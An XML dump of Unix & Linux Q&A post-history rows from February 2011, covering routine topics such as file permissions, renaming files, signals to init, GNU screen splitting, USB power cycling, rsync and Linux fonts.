  <row Id="17340" PostHistoryTypeId="5" PostId="7442" RevisionGUID="a766dfc3-f851-4ce9-b152-1d2f682bac01" CreationDate="2011-02-15T15:32:58.197" UserId="688" Comment="deleted 10 characters in body" Text="Here's a sequence of commands and the resulting output:&#xD;&#xA;&#xD;&#xA;    $ touch testfile&#xD;&#xA;    $ stat -c'%a %A' testfile&#xD;&#xA;    644 -rw-r--r--&#xD;&#xA;&#xD;&#xA;What must I do so that when a user follows that sequence, I get this output instead:&#xD;&#xA;&#xD;&#xA;    664 -rw-rw-r--&#xD;&#xA;" />
  <row Id="17341" PostHistoryTypeId="5" PostId="7446" RevisionGUID="7592d167-b60c-4fd5-ae2d-2b9d8b34c4f0" CreationDate="2011-02-15T15:37:02.840" UserId="73" Comment="added 60 characters in body; added 1 characters in body" Text="I'm trying to rename a directory full of images like so:&#xD;&#xA;&#xD;&#xA;&gt; test.jpg  &#xD;&#xA;funny.gif  &#xD;&#xA;sad.png  &#xD;&#xA;filename.PNG  &#xD;&#xA;filenaaskjas.JPG&#xD;&#xA;&#xD;&#xA;to:&#xD;&#xA;&#xD;&#xA;&gt; 1.jpg  &#xD;&#xA;2.gif  &#xD;&#xA;3.png  &#xD;&#xA;4.png  &#xD;&#xA;5.jpg&#xD;&#xA;&#xD;&#xA;I've got it working except for the uppercase --&gt; lowercase conversion:&#xD;&#xA;&#xD;&#xA;    i=1;&#xD;&#xA;    shopt -s nullglob;&#xD;&#xA;    for f in *.jpg *.gif *.png *.jpeg *.JPG *.JPEG *.GIF; do&#xD;&#xA;        mv -- &quot;$f&quot; &quot;$i.${f##*.}&quot;;&#xD;&#xA;        ((i++));&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;I also want `jpeg` to become `jpg`." />
  <row Id="17342" PostHistoryTypeId="2" PostId="7447" RevisionGUID="0b98a930-6612-4dde-b93f-e706085a4e25" CreationDate="2011-02-15T15:43:48.407" UserId="3959" Text="You can use `${parameter/pattern/string}` to search/replace and `${parameter,,pattern}` to convert to lowercase.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    i=1;&#xD;&#xA;    shopt -s nullglob;&#xD;&#xA;    for f in *.jpg *.gif *.png *.jpeg *.JPG *.JPEG *.GIF; do&#xD;&#xA;        EXT=&quot;${f##*.}&quot;&#xD;&#xA;        EXT=${EXT,,}&#xD;&#xA;        EXT=${EXT/jpeg/jpg}&#xD;&#xA;        mv -- &quot;$f&quot; &quot;$i.${EXT}&quot;;&#xD;&#xA;        ((i++));&#xD;&#xA;    done" />
  <row Id="17343" PostHistoryTypeId="2" PostId="7448" RevisionGUID="7840f9b1-875a-4f89-ae10-03e891d2bb05" CreationDate="2011-02-15T15:44:03.040" UserId="4520" Text="Try something like&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;ext=$( echo &quot;$i.${f##*.}&quot; | tr [A-Z] [a-z] )&#xD;&#xA;mv -- &quot;$f&quot; $i$ext&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;or for fixed length file names.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;dest=$(printf '08d%' $9)$( echo &quot;$i.${f##*.}&quot; | tr [A-Z] [a-z] )&#xD;&#xA;mv -- &quot;$f&quot; $dest&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;c" />
  <row Id="17345" PostHistoryTypeId="5" PostId="7441" RevisionGUID="65d5f311-7609-4075-a1f7-a802e87bfb04" CreationDate="2011-02-15T15:48:47.437" UserId="688" Comment="rm greetings and apology" Text="Can root kill init process (the process with pid 1)? What would be its consequences?&#xD;&#xA;" />
  <row Id="17346" PostHistoryTypeId="2" PostId="7450" RevisionGUID="0edae6ba-4386-4b30-8b0f-1319c7b75c5b" CreationDate="2011-02-15T15:59:18.927" UserId="4776" Text="If you have an old-style parallel or serial port, this is much easier." />
  <row Id="17347" PostHistoryTypeId="2" PostId="7451" RevisionGUID="d630ce00-c1d1-4b66-b088-e8732f7bc68e" CreationDate="2011-02-15T15:59:36.083" UserId="3959" Text="No, you cannot kill init.&#xD;&#xA;&#xD;&#xA;(The 30 character minimum is really annoying...)" />
  <row Id="17348" PostHistoryTypeId="2" PostId="7452" RevisionGUID="ba36bb29-08c1-4b22-80fc-2d291ceaa62a" CreationDate="2011-02-15T16:00:04.013" UserId="3629" Text="By default, no, that's not allowed.  Under Linux (from `man 2 kill`):&#xD;&#xA;&#xD;&#xA;&gt; The  only  signals  that can be sent to process ID 1, the init process, are those for which init  has  explicitly  installed  signal  handlers.  This is done to assure the system is not brought down accidentally.&#xD;&#xA;&#xD;&#xA;Pid 1 (init) can decide to allow itself to be killed, in which case the &quot;kill&quot; is basically a request for it to shut itself down.  This is one possible way to implement the `halt` command.&#xD;&#xA;&#xD;&#xA;On a Mac, killing `launchd` (its init analogue) with signal 15 (SIGTERM) will immediately reboot the system, without bothering to shut down running programs cleanly.  Killing it with the uncatchable signal 9 (SIGKILL) does nothing, showing that Mac's `kill()` semantics are the same as Linux's in this respect.&#xD;&#xA;&#xD;&#xA;At the moment, I don't have a Linux box handy that I'm willing to experiment with, so the question of what Linux's `init` does with a SIGTERM will have to wait.  And with `init` replacement projects like Upstart and Systemd being popular these days, the answer could be variable." />
  <row Id="17349" PostHistoryTypeId="2" PostId="7453" RevisionGUID="73b4b82e-411c-495e-a720-f440952586f1" CreationDate="2011-02-15T16:08:12.643" UserId="3635" Text="From `vi`, if you issue the command `:sp`, the screen splits into two &quot;views&quot;, allowing you to edit more than one file from the same console screen. &#xD;&#xA;&#xD;&#xA;Is there a way to do something similar with a linux shell, where you can have multiple shells open in the same console screen?" />
  <row Id="17350" PostHistoryTypeId="1" PostId="7453" RevisionGUID="73b4b82e-411c-495e-a720-f440952586f1" CreationDate="2011-02-15T16:08:12.643" UserId="3635" Text="Linux shell - &quot;split&quot; mode?" />
  <row Id="17351" PostHistoryTypeId="3" PostId="7453" RevisionGUID="73b4b82e-411c-495e-a720-f440952586f1" CreationDate="2011-02-15T16:08:12.643" UserId="3635" Text="éshellà" />
  <row Id="17352" PostHistoryTypeId="2" PostId="7454" RevisionGUID="0f2e5d48-282b-4985-b9c4-a352d9f62621" CreationDate="2011-02-15T16:13:36.060" UserId="4776" Text="Long ago I wrote a kernel patch (to 2.2.ancient) where attempting to delete a file called SELFDESTRUCT killed the calling process. This guarded against accidental &quot;rm -rf *&quot;." />
  <row Id="17353" PostHistoryTypeId="2" PostId="7455" RevisionGUID="65f53361-ffbb-4da8-bd89-190002104ad8" CreationDate="2011-02-15T16:17:50.683" UserId="2780" Text="You can do it in `screen` the terminal multiplexer." />
  <row Id="17354" PostHistoryTypeId="2" PostId="7456" RevisionGUID="15629390-ecb0-490e-a141-7ef2a85e5024" CreationDate="2011-02-15T16:20:58.390" UserId="4785" Text="I have a pretty nice screen rc file that shows me the open screen windows almost like tabs at the bottom of the terminal. Currently the windows are named according to my prompt which is not so useful.  Is there a way to automatically name the windows based on the filename of an open vim session currently in the window?  I think this would make a supreme multi window editor if it were possible.  " />
  <row Id="17355" PostHistoryTypeId="1" PostId="7456" RevisionGUID="15629390-ecb0-490e-a141-7ef2a85e5024" CreationDate="2011-02-15T16:20:58.390" UserId="4785" Text="screen + vim -- Any way to automatically set screen window name to open vim filename?" />
  <row Id="17356" PostHistoryTypeId="3" PostId="7456" RevisionGUID="15629390-ecb0-490e-a141-7ef2a85e5024" CreationDate="2011-02-15T16:20:58.390" UserId="4785" Text="évimàéscreenà" />
  <row Id="17357" PostHistoryTypeId="5" PostId="7455" RevisionGUID="bb7717fd-c9cd-4903-99f2-9579aeddec14" CreationDate="2011-02-15T16:23:26.923" UserId="2780" Comment="added 325 characters in body" Text="You can do it in `screen` the terminal multiplexer.&#xD;&#xA;&#xD;&#xA;* To split vertically: &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt; then &lt;kbd&gt;|&lt;/kbd&gt;.&#xD;&#xA;* To split horizontally: &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt; then &lt;kbd&gt;S&lt;/kbd&gt; (uppercase one).&#xD;&#xA;* To unsplit: &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt; then &lt;kbd&gt;Q&lt;/kbd&gt; (uppercase one).&#xD;&#xA;* To switch from one to the other:  &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt; then &lt;kbd&gt;tab&lt;/kbd&gt;" />
  <row Id="17358" PostHistoryTypeId="2" PostId="7457" RevisionGUID="b21cc6bc-9ba1-4579-b241-c627b9895c61" CreationDate="2011-02-15T16:45:42.457" UserId="4595" Text="It is sometimes possible to do a power cycle on the part of the USB bus where is pluged the device :&#xD;&#xA;&#xD;&#xA;    # echo suspend &gt; /sys/bus/usb/devices/1-1/power/level&#xD;&#xA;    # echo auto &gt; /sys/bus/usb/devices/1-1/power/level&#xD;&#xA;&#xD;&#xA;The `1-1` should be adjusted to your configuration. You can see to which part of the USB tree your device is pluged by running `lsusb -t` before ejecting it.&#xD;&#xA;&#xD;&#xA;You can find detailed information on the linux-usb mailing-list, [this thread][1] for example.&#xD;&#xA;&#xD;&#xA;  [1]: http://marc.info/?l=linux-usb&amp;m=121458814010679&amp;w=2" />
  <row Id="17359" PostHistoryTypeId="2" PostId="7458" RevisionGUID="649c1e5d-f321-4cb3-a7b6-108d7445221f" CreationDate="2011-02-15T17:00:04.820" UserId="4176" Text="We're running four computers connected to a hub (yes a hub not a switch) on Fedora 13. They were installed using images from a colleague that has recently left us to go back to school, they may have been set to somehow block the use of the broadcast, but we'd like to continue using this image. We've setup the static IPs for each computer using ifconfig (we've also tried ip addr add) to 10.0.1.11/24 through 10.0.1.14/24, using these settings we can't seem to ping the broadcast which is indeed set correctly to 10.0.1.255, using tcpdump we see nothing except outgoing ping requests from the computer that calls the ping request. Does anyone have any ideas or am I missing something entirely?" />
  <row Id="17360" PostHistoryTypeId="1" PostId="7458" RevisionGUID="649c1e5d-f321-4cb3-a7b6-108d7445221f" CreationDate="2011-02-15T17:00:04.820" UserId="4176" Text="Can't ping broadcast" />
  <row Id="17361" PostHistoryTypeId="3" PostId="7458" RevisionGUID="649c1e5d-f321-4cb3-a7b6-108d7445221f" CreationDate="2011-02-15T17:00:04.820" UserId="4176" Text="énetworkingàéfedoraàépingà" />
  <row Id="17362" PostHistoryTypeId="2" PostId="7459" RevisionGUID="9791d862-8e80-4de4-bc47-c102bb980e5b" CreationDate="2011-02-15T17:00:59.187" UserId="4788" Text="I had problems with the netinstall stable 64. I eventually overcame this: I found my binaries of nm and nm-applet and added the following to the top of the files with nano: #!/bin/busybox&#xD;&#xA;I then cated them on to the ubninit that unetbootin puts onto the usb drive like so: cat /usr/bin/nm &gt;&gt; /media/sdc1/ubninit  &#xD;&#xA;and: cat /usr/bin/nm-applet &gt;&gt; /media/sdc1/ubninit&#xD;&#xA;if you try this and it doesnt work no big loss but just remember to delete the line you added to nm and nm-applet." />
  <row Id="17363" PostHistoryTypeId="5" PostId="7457" RevisionGUID="345b43e2-6a28-4faf-88f9-b09424b060a9" CreationDate="2011-02-15T17:07:10.287" UserId="4595" Comment="edited body" Text="It is sometimes possible to do a power cycle on branch of the USB bus where the device is plugged :&#xD;&#xA;&#xD;&#xA;    # echo suspend &gt; /sys/bus/usb/devices/1-1/power/level&#xD;&#xA;    # echo auto &gt; /sys/bus/usb/devices/1-1/power/level&#xD;&#xA;&#xD;&#xA;The `1-1` should be adjusted to your configuration. You can see to which part of the USB tree your device is plugged by running `lsusb -t` before ejecting it.&#xD;&#xA;&#xD;&#xA;You can find detailed information on the linux-usb mailing-list, [this thread][1] for example.&#xD;&#xA;&#xD;&#xA;  [1]: http://marc.info/?l=linux-usb&amp;m=121458814010679&amp;w=2" />
  <row Id="17364" PostHistoryTypeId="6" PostId="7453" RevisionGUID="3e1f0788-a2a2-4467-b578-a90168658f0f" CreationDate="2011-02-15T17:11:09.207" UserId="3635" Comment="edited tags" Text="éshellàéscreenà" />
  <row Id="17365" PostHistoryTypeId="5" PostId="7455" RevisionGUID="2cf82782-6557-4d45-b796-15d477a73fbb" CreationDate="2011-02-15T17:16:29.983" UserId="2780" Comment="added 417 characters in body" Text="You can do it in `screen` the terminal multiplexer.&#xD;&#xA;&#xD;&#xA;* To split vertically: &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt; then &lt;kbd&gt;|&lt;/kbd&gt;.&#xD;&#xA;* To split horizontally: &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt; then &lt;kbd&gt;S&lt;/kbd&gt; (uppercase one).&#xD;&#xA;* To unsplit: &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt; then &lt;kbd&gt;Q&lt;/kbd&gt; (uppercase one).&#xD;&#xA;* To switch from one to the other:  &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt; then &lt;kbd&gt;tab&lt;/kbd&gt;&#xD;&#xA;&#xD;&#xA;EDIT, basic screen usage:&#xD;&#xA;&#xD;&#xA;* New terminal: &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt; then &lt;kbd&gt;c&lt;/kbd&gt;.&#xD;&#xA;* Next terminal: &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt; then &lt;kbd&gt;space&lt;/kbd&gt;.&#xD;&#xA;* Previous terminal: &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt; then &lt;kbd&gt;backspace&lt;/kbd&gt;.&#xD;&#xA;* N'th terminal &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt; then &lt;kbd&gt;[n]&lt;/kbd&gt;.&#xD;&#xA;* Send &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt; to the underlying terminal &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt; then &lt;kbd&gt;a&lt;/kbd&gt;." />
  <row Id="17366" PostHistoryTypeId="2" PostId="7460" RevisionGUID="11ca236c-8192-45c5-8fcb-4bca05806f1a" CreationDate="2011-02-15T17:19:34.977" UserId="4565" Text="I need to set up a network fs, so that I can mount a directory from `Box A` on to `Box B` and `Box C`. However, I need those files to not be transferred from `Box A` upon every access request; basically, I need the files cached locally, and only updated when &quot;pushed&quot; from `Box A`.&#xD;&#xA;&#xD;&#xA;Any suggestions?" />
  <row Id="17367" PostHistoryTypeId="1" PostId="7460" RevisionGUID="11ca236c-8192-45c5-8fcb-4bca05806f1a" CreationDate="2011-02-15T17:19:34.977" UserId="4565" Text="Network Filesystem + Local Access" />
  <row Id="17368" PostHistoryTypeId="3" PostId="7460" RevisionGUID="11ca236c-8192-45c5-8fcb-4bca05806f1a" CreationDate="2011-02-15T17:19:34.977" UserId="4565" Text="éfilesystemsàénetworkà" />
  <row Id="17369" PostHistoryTypeId="25" PostId="7453" RevisionGUID="0431f411-2f35-4563-8109-dbad760abd24" CreationDate="2011-02-15T17:22:49.060" Comment="http://twitter.com/#!/StackUnix/status/37562483887575040" />
  <row Id="17370" PostHistoryTypeId="2" PostId="7461" RevisionGUID="4188a99f-739d-4edb-b14b-623bb547b105" CreationDate="2011-02-15T17:23:09.787" UserId="1375" Text="When I used Windows (a very very long time ago!), and Mac OS X, there was always a central &quot;repository&quot; of fonts shared and accessed by the OS and all programs (the font folder in Windows, and Font Book in Mac OS X).&#xD;&#xA;&#xD;&#xA;How are fonts managed in Linux? Is there also a central store for fonts that all programs (the shell with no X, with X, window managers, other GUI software) can use? Or are fonts managed separately? What can I do to efficiently and easily manage my fonts in Linux?" />
  <row Id="17371" PostHistoryTypeId="1" PostId="7461" RevisionGUID="4188a99f-739d-4edb-b14b-623bb547b105" CreationDate="2011-02-15T17:23:09.787" UserId="1375" Text="How does Linux manage fonts?" />
  <row Id="17372" PostHistoryTypeId="3" PostId="7461" RevisionGUID="4188a99f-739d-4edb-b14b-623bb547b105" CreationDate="2011-02-15T17:23:09.787" UserId="1375" Text="élinuxàéxorgàéfontsàéfontà" />
  <row Id="17373" PostHistoryTypeId="5" PostId="7410" RevisionGUID="923b2449-e6d1-4c3d-b96e-3723a807f698" CreationDate="2011-02-15T17:25:33.047" UserId="4769" Comment="added 253 characters in body" Text="Hi,&#xD;&#xA;&#xD;&#xA;I have a setup with virtual Xen hosts connected to a set of VLAN-s.  On Dom0, I have set up a bridge for each of my VLAN-s to connect DomU-s to.  Bridges are set up in /etc/network/interfaces like this:&#xD;&#xA;&#xD;&#xA;    auto eth0&#xD;&#xA;    iface eth0 inet manual&#xD;&#xA;&#xD;&#xA;    auto eth0.1&#xD;&#xA;    iface eth0.1 inet manual&#xD;&#xA;      vlan_raw_device eth0&#xD;&#xA;&#xD;&#xA;    auto br1&#xD;&#xA;    iface br1 inet manual&#xD;&#xA;      bridge_ports eth0.1&#xD;&#xA;&#xD;&#xA;For most of these interfaces, I don't want Dom0 to be reachable, I just want it to bridge.&#xD;&#xA;&#xD;&#xA;However, with IPv6, each interface automatically gets a link local address on the fe80::/64-network, which effectively breaks my security by letting Dom0 be available on all interfaces/VLAN-s.&#xD;&#xA;&#xD;&#xA;I guess I can block all incoming packets with iptables, but avoiding any IPv6-address altogether seems like a cleaner solution.&#xD;&#xA;&#xD;&#xA;Is there anyway to take an interface up on the link-layer but not on the IP-layer?&#xD;&#xA;&#xD;&#xA;This is linux/debian (sorry I missed this detail initially...)&#xD;&#xA;&#xD;&#xA;    (master) 844$ cat /etc/issue.net &#xD;&#xA;    Debian GNU/Linux 5.0&#xD;&#xA;    (master) 845$ uname -a&#xD;&#xA;    Linux master 2.6.26-2-xen-amd64 #1 SMP Sun Jun 20 20:51:58 UTC 2010 x86_64 GNU/Linux&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17374" PostHistoryTypeId="2" PostId="7462" RevisionGUID="82a1e169-4e57-43c8-ae65-0cfd59ae5b7b" CreationDate="2011-02-15T17:27:27.053" UserId="571" Text="Can you run rsync on Box A whenever you need to push the files to the other 2 boxes?&#xD;&#xA;&#xD;&#xA;Something like:&#xD;&#xA;&#xD;&#xA;    rsync -avz /local/directory/ boxb:/remote/directory/&#xD;&#xA;    rsync -avz /local/directory/ boxc:/remote/directory/&#xD;&#xA;&#xD;&#xA;rsync will only copy changed files as required.&#xD;&#xA;&#xD;&#xA;If you need to automate the push, you could always use cron to start the rsyncs." />
  <row Id="17375" PostHistoryTypeId="2" PostId="7463" RevisionGUID="3d993743-805b-45fe-939c-9cf1152ddfff" CreationDate="2011-02-15T17:29:01.177" UserId="3459" Text="As of Debian 6.0 (Squeeze), the netinstall and disc 1 of the regular install CD/DVDs are 'hybrid' ISOs. They can be burned to an optical disc and booted or copied onto a USB drive and booted.&#xD;&#xA;&#xD;&#xA;To copy the ISO onto a USB drive from a linux system all you need to do is `cat` the ISO onto the drive.&#xD;&#xA;&#xD;&#xA;    cat debian.iso &gt; /dev/sdX&#xD;&#xA;&#xD;&#xA;http://www.debian.org/releases/squeeze/i386/ch04s03.html.en#usb-copy-isohybrid" />
  <row Id="17376" PostHistoryTypeId="2" PostId="7464" RevisionGUID="501ca8cb-536a-412b-a686-119c0b3381d8" CreationDate="2011-02-15T17:30:53.633" UserId="4520" Text="Broadcast amplification was used to mount DOS (Denial of Service) attacks. As a result most IP stacks now turn off echo responses to broadcast ping.  This is normal behavior now.  " />
  <row Id="17377" PostHistoryTypeId="2" PostId="7465" RevisionGUID="19b7d0b2-9f1e-431a-bbd3-9841233b2fa0" CreationDate="2011-02-15T17:34:29.733" UserId="3976" Text="You might benefit from using NFS and [CacheFS][1].  It should be available on most modern Linux distros.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/CacheFS" />
  <row Id="17378" PostHistoryTypeId="2" PostId="7466" RevisionGUID="0b1d0c11-89a3-46fe-8073-21fcba0b91a9" CreationDate="2011-02-15T17:59:08.893" UserId="688" Text="I am a group member, but I can't delete a file that I'm supposed to be able to delete:&#xD;&#xA;&#xD;&#xA;    $ touch testfile&#xD;&#xA;    $ chmod g+w testfile&#xD;&#xA;    $ sudo adduser user2 user1&#xD;&#xA;    $ stat -c'%a %A' testfile&#xD;&#xA;    664 -rw-rw-r--&#xD;&#xA;    $ su user2&#xD;&#xA;    Password: &#xD;&#xA;    $ groups&#xD;&#xA;    user2 user1&#xD;&#xA;    $ rm testfile &#xD;&#xA;    rm: cannot remove `testfile': Permission denied&#xD;&#xA;&#xD;&#xA;What is missing?&#xD;&#xA;" />
  <row Id="17379" PostHistoryTypeId="1" PostId="7466" RevisionGUID="0b1d0c11-89a3-46fe-8073-21fcba0b91a9" CreationDate="2011-02-15T17:59:08.893" UserId="688" Text="I can't delete a file for which I have group delete permission" />
  <row Id="17380" PostHistoryTypeId="3" PostId="7466" RevisionGUID="0b1d0c11-89a3-46fe-8073-21fcba0b91a9" CreationDate="2011-02-15T17:59:08.893" UserId="688" Text="édebianàépermissionsàégroupà" />
  <row Id="17381" PostHistoryTypeId="2" PostId="7467" RevisionGUID="b254022a-e1a8-4113-bf2a-098906d3546c" CreationDate="2011-02-15T18:04:49.867" UserId="2701" Text="Technically yes, root can issue a SIGKILL to init. init, however, differs from most, nearly all in fact, other processes in that it is permitted to trap and ignore the signal.&#xD;&#xA;&#xD;&#xA;You can, loosely, kill init by issuing a `kill -TERM 1` which would be analogous to issuing a `halt` or `shutdown` in that init will pass the signal to all children, essentially all other processes, before honoring the signal itself.&#xD;&#xA;&#xD;&#xA;Please note: performing this command **will** shutdown your system.&#xD;&#xA;&#xD;&#xA;For flavor; one type of other process that can &quot;ignore&quot; a SIGKILL is one in uninterruptible sleep, such as one waiting for i/o. Such a process could be found by issuing a `ps axo stat,comm` where processes with a status 'D' are uninterruptible." />
  <row Id="17382" PostHistoryTypeId="5" PostId="7466" RevisionGUID="239efc1d-2f86-4bc3-90e4-052d446beaaf" CreationDate="2011-02-15T18:05:33.813" UserId="688" Comment="improve title; edited title; edited title" Text="    $ touch testfile&#xD;&#xA;    $ chmod g+w testfile&#xD;&#xA;    $ sudo adduser user2 user1&#xD;&#xA;    $ stat -c'%a %A' testfile&#xD;&#xA;    664 -rw-rw-r--&#xD;&#xA;    $ su user2&#xD;&#xA;    Password: &#xD;&#xA;    $ groups&#xD;&#xA;    user2 user1&#xD;&#xA;    $ rm testfile &#xD;&#xA;    rm: cannot remove `testfile': Permission denied&#xD;&#xA;&#xD;&#xA;What is missing?&#xD;&#xA;" />
  <row Id="17383" PostHistoryTypeId="4" PostId="7466" RevisionGUID="239efc1d-2f86-4bc3-90e4-052d446beaaf" CreationDate="2011-02-15T18:05:33.813" UserId="688" Comment="improve title; edited title; edited title" Text="I can't delete a file that I have write permissions for as a group member" />
  <row Id="17384" PostHistoryTypeId="2" PostId="7468" RevisionGUID="3d993c1a-6c98-4446-ba16-c5b5056fd795" CreationDate="2011-02-15T18:05:39.570" UserId="3976" Text="Deleting a file means you are making changes to the *directory* it resides in, not the file itself.  Your group needs rw on the directory to be able to remove a file.  The permissions on a file are only for making changes to the file itself.&#xD;&#xA;&#xD;&#xA;This might come off as confusing at first until you think about how the filesystem works.  A file is just an inode, and the directory refers to the inode.  By removing it, you're just removing a reference to that file's inode in the directory.  So you're changing the directory, not the file.  You could have a hard link to that file in another directory, and you'd still be able to remove it from the first directory without actually changing the file itself, it would still exist in the other directory." />
  <row Id="17385" PostHistoryTypeId="5" PostId="7411" RevisionGUID="8b54d4d4-1bfe-4237-a623-43d3955ed197" CreationDate="2011-02-15T18:26:07.127" UserId="885" Comment="added tunable preexec function" Text="If your window title reflects the application currently running in the window, it's because your shell is doing that. If it's doing that, it's because your distribution, your system administrator or you configured it to.&#xD;&#xA;&#xD;&#xA;If the command appears as the window title while the command is running, this is done by the `preexec` function (in zsh), or an [emulation thereof under bash](http://superuser.com/questions/175799/does-bash-have-a-hook-that-is-run-before-executing-a-command).&#xD;&#xA;&#xD;&#xA;If the title changes when each command completes, this is done by the `precmd` function in zsh, the `PROMPT_COMMAND` parameter in bash, or as part of the prompt (`PS1` parameter) in any shell. (The command to change the title is an escape sequence emitted by any application as part of the terminal's output stream, so it can be embedded in a prompt.)&#xD;&#xA;&#xD;&#xA;Look for an escape sequence like `\e]0;new title\a`, `\e]2;new title\a` or `\eknew title\e\\` in your shell initialization file (`~/.bashrc`, `~/.zshrc`, …). If there's nothing relevant, the setting may be in a system file (e.g. `/etc/bash.bashrc`, `/etc/zsh/zshrc`); then overwrite that parameter or function in your own initialization file.&#xD;&#xA;&#xD;&#xA;**EDIT:** Use the following modified `preexec` function, and issue `update_window_title=` (empty value) or `unset update_window_title` to disable the automatic title update, and `update_window_title=1` to restore it.&#xD;&#xA;&#xD;&#xA;    update_window_title=1&#xD;&#xA;    preexec () {&#xD;&#xA;      if [[ &quot;$TERM&quot; == &quot;screen&quot; &amp;&amp; -n $update_window_title ]]; then&#xD;&#xA;         local CMD=${1[(wr)^(*=*|sudo|-*)]}&#xD;&#xA;         echo -n &quot;\ek$CMD\e\\&quot;&#xD;&#xA;      fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17386" PostHistoryTypeId="2" PostId="7469" RevisionGUID="dcc680b0-e5e4-4a73-ae95-2b5cb82ba62e" CreationDate="2011-02-15T18:36:08.987" UserId="3976" Text="The SysV init ignore to SIGKILL or SIGTERM signals.  The only signal it responds to is SIGPWR as far as I can tell, which schedules a power-related shutdown.&#xD;&#xA;&#xD;&#xA;It appears that Upstart and Systemd also do not respond to SIGKILL, and from my test, it appears that a SIGTERM causes upstart and systemd to re-exec.&#xD;&#xA;&#xD;&#xA;I'm not sure what the other answerers are running but I'm pretty sure you can't kill -9 (SIGKILL) or kill -15 (SIGTERM) init (pid 1).  Most likely, if you were able to, you'd get a kernel panic because init unexpectedly exited with a non-zero exit code, which would be less than ideal.  It doesn't shut down your computer, or cause it to reboot." />
  <row Id="17387" PostHistoryTypeId="2" PostId="7470" RevisionGUID="6f79ee4a-6ca1-42d5-81dd-57d67aaeb262" CreationDate="2011-02-15T18:46:30.480" UserId="3447" Text="You can restart the `init` process.  This is useful for making changes to `inittab` without having to reboot.&#xD;&#xA;&#xD;&#xA;    kill -HUP 1&#xD;&#xA;&#xD;&#xA;Source:  http://www.cyberciti.biz/faq/linux-unix-kill-hup-1-reread-etcinittab-file/" />
  <row Id="17389" PostHistoryTypeId="5" PostId="7469" RevisionGUID="0867163c-0115-4395-9121-40ee285d068d" CreationDate="2011-02-15T18:57:27.713" UserId="3976" Comment="typo" Text="The SysV init ignores SIGKILL or SIGTERM signals.  The only signal it responds to is SIGPWR as far as I can tell, which schedules a power-related shutdown.&#xD;&#xA;&#xD;&#xA;It appears that Upstart and Systemd also do not respond to SIGKILL, and from my test, it appears that a SIGTERM causes upstart and systemd to re-exec.&#xD;&#xA;&#xD;&#xA;I'm not sure what the other answerers are running but I'm pretty sure you can't kill -9 (SIGKILL) or kill -15 (SIGTERM) init (pid 1).  Most likely, if you were able to, you'd get a kernel panic because init unexpectedly exited with a non-zero exit code, which would be less than ideal.  It doesn't shut down your computer, or cause it to reboot." />
  <row Id="17390" PostHistoryTypeId="2" PostId="7471" RevisionGUID="c0092c62-0404-4c6c-93c1-974186ecbf11" CreationDate="2011-02-15T19:39:25.070" UserId="3976" Text="Console fonts and X fonts are two separate things in linux.  Use the command `setfont` to change your font, and `showconsolefont` to see what it looks like.  Each distro has it's own way of setting the default console font.  Read the `setfont` man page for the location of the console fonts.  For my Fedora 14 system, it's /lib/kbd/consolefonts/.  Console fonts are a file format that define EGA/VGA console fonts.&#xD;&#xA;&#xD;&#xA;X Fonts are a different format than console fonts.  They are typically handled by  definitions in your X config (with FontPath in the Files section), or through a Font server (xfs), which is also set in the Files section with FontPath.  You can also add FontPaths by running `xset +fp path`.  My system has all it's X fonts in /usr/share/X11/fonts." />
  <row Id="17392" PostHistoryTypeId="2" PostId="7472" RevisionGUID="9d95a90e-d6da-4713-9e28-5c588ed26322" CreationDate="2011-02-15T19:52:50.003" UserId="688" Text="I have a directory full of rar files, with extensions ranging from `.r00` to `.r30`. It also has one file with `.rar` extension.&#xD;&#xA;&#xD;&#xA;From all of this must come a video file. How do I do it?" />
  <row Id="17393" PostHistoryTypeId="1" PostId="7472" RevisionGUID="9d95a90e-d6da-4713-9e28-5c588ed26322" CreationDate="2011-02-15T19:52:50.003" UserId="688" Text="Working with rar files" />
  <row Id="17394" PostHistoryTypeId="3" PostId="7472" RevisionGUID="9d95a90e-d6da-4713-9e28-5c588ed26322" CreationDate="2011-02-15T19:52:50.003" UserId="688" Text="érarà" />
